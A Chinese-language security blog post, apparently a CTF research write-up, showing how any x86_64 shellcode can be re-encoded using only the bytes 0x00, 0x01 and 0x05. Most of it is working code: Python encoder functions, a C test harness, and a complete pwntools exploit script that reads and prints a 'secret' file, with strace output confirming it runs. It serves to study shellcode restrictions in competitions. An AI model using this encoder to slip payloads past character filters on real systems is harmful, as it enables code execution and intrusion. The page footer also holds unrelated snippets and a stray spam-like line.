<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    僅用三種字符實現 x86_64 架構的任意 shellcode

    VSole2021-11-05 17:09:17

    前言

    今年(2021) DEFCON 決賽出了一道有意思的 KoH 題(shoow-your-shell),用 shellcode 讀取 secret 文件內容并輸出,比誰用的字符更少,字符數相同時比誰的長度更短。

    有隊伍僅用 3 個字節就輸出了 secret 的內容,但這應該是出題的失誤,利用 read 系統調用二次讀入的字節也應該屬于 payload 的一部分,全部加起來再算分更合理。如果在運行 shellcode 之前,將所有寄存器的值都設置為 0xdeadbeefdeadbeef 則可以避免此情況。

    有隊伍僅用 3 種字符就實現 ROP 輸出了 secret 的內容,非常的強大。如果二進制開啟了 PIE,是否還能僅用 3 種字符就實現輸出 secret 內容的 shellcode 呢?

    在 redpwnCTF 2021 中有一道叫 gelcode-2 的 shellcode 題,僅用小于等于 0x05 的字符就實現讀取 flag 的 shellcode。

    其實,僅用 0x00、0x01、0x05 這三種字符,即可實現 x86_64 架構的任意 shellcode。

    三種字符shellcode的基本原理

    將 shellcode 進行分段

    每段指令不超過 4 個字節(如果多出來的字節是 0x00、0x01、0x05 也可以接受),小于 4 字節的可以用 nop 等無影響的指令進行補充。

    在編寫時 shellcode 盡量不要使用 rax 寄存器(因為構造 shellcode 時要用到),對于 syscall 必須用到 rax 的則需要放在同一組,以 exit(0) 系統調用為例:

    6a 3c 6a 00    push 60; push 0;            # 第 1 組5f 58 0f 05    pop rdi; pop rax; syscall;  # 第 2 組
    

    大于 4 字節的指令(且多出來的字節不是 0x00、0x01、0x05 的)盡量換種寫法,對于實在換不了的,下文另外討論。

    add eax, 0xXXXXXXXX 指令

    add eax, 0xXXXXXXXX 指令是以 0x05 開頭,緊跟著 4 字節的操作數(小端序),舉例:

    05 00 05 00 01    add eax, 0x01000500
    

    在知道當前 eax 值的情況下,就可以通過 N 條 add eax, 0xXXXXXXXX 指令,將 eax 加成任意想要的值。

    為了減少指令的數量,4 個字節可以并行地做加法,相差大于等于 5 的加 5,相差大于等于 1 的加 1,剩下相等的加 0。具體算法如下:

    def next_step(value):    """ 每個字節每次加 5、1 或 0 """    n = 0    for i in range(4):        if (value >> (i * 8)) & 0xff >= 5:            n |= (5 << (i * 8))        elif (value >> (i * 8)) & 0xff >= 1:            n |= (1 << (i * 8))    return n
    def add_eax(value):    """ 將 eax 加上指定的值 """    payload = b''    while value > 0:        n = next_step(value)        payload += b'\x05' + p32(n)        value -= n    return payload
    

    add [rip], eax 指令

    add [rip], eax 指令僅含有 0x00、0x01、0x05 三種字符,并且可以將接下來 4 字節的指令加上 eax 的值,從而實現任意 shellcode 的構造。

    01 05 00 00 00 00    add [rip], eax  # 將 eax 的值加到接下來 4 字節的指令中00 00 00 00                          # 4 字節的占位指令(加上 eax 的值
    就是需要構造的目標指令)
    

    當執行完 add [rip], eax 指令之后,下一條執行的指令就是 eax 加上占位數值所代表的指令。

    除了用 4 字節的 0x00 占位外,還可以使用 0x01 和 0x05 來占位,這樣可以使得整體 shellcode 的長度更短。

    上文說到可以利用 0x00、0x01、0x05 三種字符構造出任意的 eax 值,也就是說,可以構造出任意 4 字節的目標指令。

    完整的轉換算法如下:

    def asm_015(shellcode):    """ 將 shellcode 轉換成 0x00、0x01、0x05 三種字符 """    # 不足 4 字節的目標指令補充 nop 指令    if len(shellcode) < 4:        shellcode = shellcode.ljust(4, b'\x90')    # 特殊處理超過 4 字節且含有其他字符的目標指令    if len(shellcode) > 4:        for c in shellcode[4:]:            if c not in (0, 1, 5):                return asm_long_015(shellcode)    # 當前 eax 距離目標指令的差值    global current_eax    eax_offset = u32(shellcode[:4]) - current_eax    if eax_offset < 0:        eax_offset += 0x100000000    # 預留第一步的值,以減少 shellcode 的總體長度    reserved = next_step(eax_offset)    eax_offset -= reserved    # 設置 eax 為目標指令    payload = add_eax(eax_offset)    current_eax = (current_eax + eax_offset) & 0xffffffff    # 將 eax 加到目標指令    payload += b'\x01\x05\x00\x00\x00\x00'  # add [rip], eax    # 目標指令預留的值    payload += p32(reserved)    # 目標指令超出 4 字節的部分(全是 0x00、0x01、0x05 之一)    payload += shellcode[4:]    return payload
    

    處理大于4字節的指令

    當 shellcode 某組指令必須大于 4 字節時,如果多出的字節全是 0x00、0x01、0x05 三種字符之一,那直接加在后面即可。如果多出的字節不全是 0x00、0x01、0x05 三種字符之一,就需要特殊處理了。

    一種解決方案是:將完整的指令寫在某處 rwx 的內存,利用 call 指令跳過去執行,在最后加一個 ret 指令返回。

    利用下面的模式就可以將 shellcode 完整地寫在 rbp 指向的內存:

    66 bb 34 12    mov bx, 0x1234       # 第 1 組將 bx 設置為 shellcode 第 1、2 字節66 89 5d 00    mov [rbp + 0x0], bx  # 第 2 組將 bx 寫入 rbp 指向的位置(偏移為 0)66 bb 78 56    mov bx, 0x5678       # 第 3 組將 bx 設置為 shellcode 第 3、4 字節66 89 5d 02    mov [rbp + 0x2], bx  # 第 4 組將 bx 寫入 rbp 指向的位置(偏移為 2)
    如果指令長度超過 0x80,就需要稍微調整一下此模式。但是將指令拆成 4 字節一組可以使整體 shellcode 長度更短,因此沒必要這樣做。
    

    完整的轉換算法如下:

    def asm_long_015(shellcode):    """ 將超長的 shellcode 轉換成 0x00、0x01、0x05 三種字符(會破壞 rbp 寄存器) """    # 添加 ret 指令,并補充為 2 的整數倍長度    shellcode += b'\xC3'    if len(shellcode) % 2 == 1:        shellcode += b'\x90'    # 暫不支持大于等于 0x80 字節的超長指令,盡量將指令拆成 4 字節一組以減少 shellcode 長度    assert len(shellcode) < 0x80    # 將 rbx 入棧,往 rbp 處構造出超長 shellcode    payload = asm_015(b'\x53\x48\x8D\x2D\x00\x00\x00\x00')  # push rbx; lea rbp, [rip]    for i in range(0, len(shellcode), 2):        payload += asm_015(b'\x66\xBB' + shellcode[i:i+2])  # mov bx, 0xXXXX        payload += asm_015(b'\x66\x89\x5D' + bytes([i]))    # mov [rbp + i], bx    # 將 rbx 出棧,調用 rbp 處的超長 shellcode    payload += asm_015(b'\x5B\xFF\xD5\x90')                 # pop rbx; call rbp; nop    return payload
    

     處理syscall的返回值

    調用 syscall 之后,返回值會寫入 rax 寄存器,這會影響到后續 shellcode 的構造。

    如果事先知道 syscall 會返回什么值,那只要更新當前 eax 的值即可。

    如果不知道 syscall 會返回什么值,那就需要在 syscall 那組指令中設置好 eax 的值,舉例:

    58                pop rax0f 05             syscallb8 00 00 00 00    mov eax, 0x0
    

    前 4 個字節可以通過上文說到的方式構造出來,后面跟著 4 個 0x00,也可以換成 0x01 或 0x05(某些情況下可以減少整體 shellcode 的長度)。

    測試shellcode的程序

    這是本文測試 shellcode 的二進制程序源代碼,用來驗證 0x00、0x01、0x05 三個字符可以組成任意的 shellcode。

    • 首先 mmap 隨機的地址,使 shellcode 運行時 rip 寄存器的值是未知的。
    • 然后將所有寄存器的值設置為 0xdeadbeefdeadbeef,使 shellcode 不依賴寄存器的初始值。
    • 最后編譯時開啟 PIE,使 shellcode 不依賴程序的 gadget。
    #include #include #include #include #include #include #include #include 
    char init_code[] = {0x48, 0xB8, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBB, 0xEF, 0xBE, 0xAD, 0xDE,                    0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBA,                    0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBF, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE,                    0xAD, 0xDE, 0x48, 0xBE, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xB8, 0xEF, 0xBE,                    0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE,                    0x49, 0xBA, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xBB, 0xEF, 0xBE, 0xAD, 0xDE,                    0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xBC, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xBD,                    0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xBE, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE,                    0xAD, 0xDE, 0x49, 0xBF, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBD, 0xEF, 0xBE,                    0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBC, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE};
    int main() {  setvbuf(stdin, NULL, _IONBF, 0);  setvbuf(stdout, NULL, _IONBF, 0);  setvbuf(stderr, NULL, _IONBF, 0);
      int ufd = open("/dev/urandom", O_RDONLY);  assert(ufd != -1);  void *addr = 0;  read(ufd, &addr, 8);  close(ufd);  assert(addr > 0);  *((unsigned long *)&addr) &= 0xffffff000;
      assert(mmap(addr, 0x100000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) == addr);  memcpy(addr, init_code, sizeof(init_code));
      unsigned int length = 0;  printf("shellcode length: ");  assert(scanf("%u", &length) == 1);
      unsigned int n = 0;  void *p = addr + sizeof(init_code);  while (length > 0) {    ssize_t n = read(0, p, length);    assert(n > 0);    p += n;    length -= n;  }
      return ((int (*)(void))addr)();}
    gcc -pie -o test_shellcode test_shellcode.c
    

    完整的shellcode生成腳本

    將 shellcode 適當地分組,就可以用腳本直接轉換成 0x00、0x01、0x05 三種字符。

    備注:適當調整 shellcode 的順序,可以獲得更短的 shellcode 長度。

    #!/usr/bin/env python3
    from pwn import *
    current_eax = 0xdeadbeef
    def next_step(value):    """ 每個字節每次加 5、1 或 0 """    n = 0    for i in range(4):        if (value >> (i * 8)) & 0xff >= 5:            n |= (5 << (i * 8))        elif (value >> (i * 8)) & 0xff >= 1:            n |= (1 << (i * 8))    return n
    def add_eax(value):    """ 將 eax 加上指定的值 """    payload = b''    while value > 0:        n = next_step(value)        payload += b'\x05' + p32(n)        value -= n    return payload
    def asm_015(shellcode):    """ 將 shellcode 轉換成 0x00、0x01、0x05 三種字符 """    # 不足 4 字節的目標指令補充 nop 指令    if len(shellcode) < 4:        shellcode = shellcode.ljust(4, b'\x90')    # 特殊處理超過 4 字節且含有其他字符的目標指令    if len(shellcode) > 4:        for c in shellcode[4:]:            if c not in (0, 1, 5):                return asm_long_015(shellcode)    # 當前 eax 距離目標指令的差值    global current_eax    eax_offset = u32(shellcode[:4]) - current_eax    if eax_offset < 0:        eax_offset += 0x100000000    # 預留第一步的值,以減少 shellcode 的總體長度    reserved = next_step(eax_offset)    eax_offset -= reserved    # 設置 eax 為目標指令    payload = add_eax(eax_offset)    current_eax = (current_eax + eax_offset) & 0xffffffff    # 將 eax 加到目標指令    payload += b'\x01\x05\x00\x00\x00\x00'  # add [rip], eax    # 目標指令預留的值    payload += p32(reserved)    # 目標指令超出 4 字節的部分(全是 0x00、0x01、0x05 之一)    payload += shellcode[4:]    return payload
    def asm_long_015(shellcode):    """ 將超長的 shellcode 轉換成 0x00、0x01、0x05 三種字符(會破壞 rbp 寄存器) """    # 添加 ret 指令,并補充為 2 的整數倍長度    shellcode += b'\xC3'    if len(shellcode) % 2 == 1:        shellcode += b'\x90'    # 暫不支持大于等于 0x80 字節的超長指令,盡量將指令拆成 4 字節一組以減少 shellcode 長度    assert len(shellcode) < 0x80    # 將 rbx 入棧,往 rbp 處構造出超長 shellcode    payload = asm_015(b'\x53\x48\x8D\x2D\x00\x00\x00\x00')  # push rbx; lea rbp, [rip]    for i in range(0, len(shellcode), 2):        payload += asm_015(b'\x66\xBB' + shellcode[i:i+2])  # mov bx, 0xXXXX        payload += asm_015(b'\x66\x89\x5D' + bytes([i]))    # mov [rbp + i], bx    # 將 rbx 出棧,調用 rbp 處的超長 shellcode    payload += asm_015(b'\x5B\xFF\xD5\x90')                 # pop rbx; call rbp; nop    return payload
    def exploit(r):    # 修復棧    payload = asm_015(asm('lea  rsp, [rip]'))    payload += asm_015(asm('and  rsp, 0xfffffffffffffff0'))
        # secret 文件路徑    payload += asm_015(asm('mov  bx, 0x0000'))    payload += asm_015(asm('shl  rbx, 16'))    payload += asm_015(asm('mov  bx, 0x7465'))    payload += asm_015(asm('shl  rbx, 16'))    payload += asm_015(asm('mov  bx, 0x7263'))    payload += asm_015(asm('shl  rbx, 16'))    payload += asm_015(asm('mov  bx, 0x6573'))
        # int open(const char *pathname, int flags)    payload += asm_015(asm('push rbx; mov  rdi, rsp'))      # pathname    payload += asm_015(asm('push 2; push 0'))               # sys_open, flags    payload += asm_015(asm('pop rsi; pop rax; syscall'))    global current_eax    current_eax = 3     # 返回值為3,修正當前 eax
        # ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count)    payload += asm_015(asm('push 0x7f; pop r10'))           # count    payload += asm_015(asm('push 40; push 0'))              # sys_sendfile, offset    payload += asm_015(asm('push 3; push 1'))               # in_fd, out_fd    payload += asm_015(asm('pop rdi; pop rsi; pop rdx; nop'))    payload += asm_015(asm('pop rax; syscall; mov eax, 0')) # 因為 flag 長度未知,因此將 eax 置 0    current_eax = 0     # 修正當前 eax
        # 超長 shellcode 測試:預期正常調用 getuid()、getgid() 并正常返回    payload += asm_015(asm('mov rax, 102; syscall; mov rax, 104; syscall; mov eax, 0'))    current_eax = 0     # 修正當前 eax
        # void _exit(int status)    payload += asm_015(asm('push 60; push 0'))              # sys_exit, status    payload += asm_015(asm('pop rdi; pop rax; syscall'))
        # 驗證 shellcode    log.info('payload %s, length: %d', set(payload), len(payload))    r.sendlineafter(b'shellcode length: ', str(len(payload)).encode('utf8'))    pause()    r.send(payload)
        # 預期輸出 secret 文件內存,并正常退出    print(r.recvallS())    r.close()
    def main():    context.clear(arch='amd64', os='linux')    r = process('./test_shellcode')    exploit(r)
    if __name__ == '__main__':    main()
    

    利用strace調試syscall的小技巧

    在利用腳本發送 payload 前先 pause(),然后在另一個終端執行 strace 命令,回到 pause() 的終端按任意鍵繼續,然后在 strace 的終端就能直觀地看到是否按預期調用 syscall 了:

    $ strace -p `pidof test_shellcode`strace: Process 22404 attachedread(0, "\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\1\5\5"..., 10046) = 10046open("secret", O_RDONLY)                = 3sendfile(1, 3, NULL, 127)               = 56getuid()                                = 0getgid()                                = 0exit(0)                                 = ?+++ exited with 0 +++
    

     參考

    redpwnCTF 2021 – gelcode-2 (pwn)

    DEFCON 29 FINAL shooow-your-shell 總結

    (點擊閱讀原文可查看參考文章詳情~)

    asmrip
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    (由于PTE控制著4KB物理頁的屬性,因此目標代碼所屬的整個物理頁都被設置為不可執行。若是,則修改PTE的執行屬性并進行事件注入至 #DB,內核異常處理函數將會將該異常派發給調試器。若不是,則仍需要修復PTE的可執行屬性,置位rflags.TF以便于下條指令觸發 #DB 異常被vmm接管,修復cr2并進行事件注入 #PF。
    用 shellcode 讀取 secret 文件內容并輸出,比誰用的字符更少,字符數相同時比誰的長度更短。
    萌新如何玩轉mimikatz
    2022-08-29 06:48:46
    暑假快到了,身邊好多師傅都開啟了"卷王"模式,而我也在南城師傅的幫助下開始了內網這個新征程;mimikatz就是我遇見的一個坎,我希望記錄下這個過程,盡可能的幫助大家更快的掌握mimikatz的用法和技巧。最后,再次謝謝南城師傅對本文的指導與幫助!!
    前言Kernel ROP本質上還是構造ropchain來控制程序流程完成提權,不過相較于用戶態來說還是有了一些變化,這里選取的例題是2018年強網杯的賽題core,本來覺得學起來會很快的但是沒想到還是踩了不少坑。iretq指令則用來恢復用戶態的cs、ss、rsp、rip、rflags的信息。
    SCTF中一道linux kernel pwn的出題思路及利用方法,附賽后復盤
    VMPWN的入門系列-2
    2023-08-03 09:29:42
    解釋器是一種計算機程序,用于解釋和執行源代碼。與編譯器不同,解釋器不會將源代碼轉換為機器語言,而是直接執行源代碼。即,這個程序接收一定的解釋器語言,然后按照一定的規則對其進行解析,完成相應的功能,從本質上來看依然是一個虛擬機。總的來說,如果輸入字符數小于0x10,string類的大概成員應該如下struct?
    kernel-pwn之ret2dir利用技巧
    Kernel-Pwn-FGKASLR
    2023-07-10 10:24:04
    是KASLR的加強版,增加了更細粒度的地址隨機化
    tvm分析與還原
    2023-06-06 09:18:55
    把騰訊的安全產品拉入 PE 工具,看到區段中有.tvm0那就沒跑了。demo這次還原用到的demo是前段時間游戲安全技術競賽的決賽附加題一個非常好的demo,驅動基本上全vm了。還要特別感謝這位大佬放出來的脫殼版,給我節省了許多驗證還原效果的時間。pwd=ICEY)文檔我也只說明了一些明顯的點,還是看代碼更加清晰。然后給你的idapython安裝以下的庫:import capstone
    假如想在x86平臺運行arm程序,稱arm為source ISA, 而x86為target ISA, 在虛擬化的角度來說arm就是Guest, x86為Host。這種問題被稱為Code-Discovery Problem。每個體系結構對應的helper函數在target/xxx/helper.h頭文件中定義。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类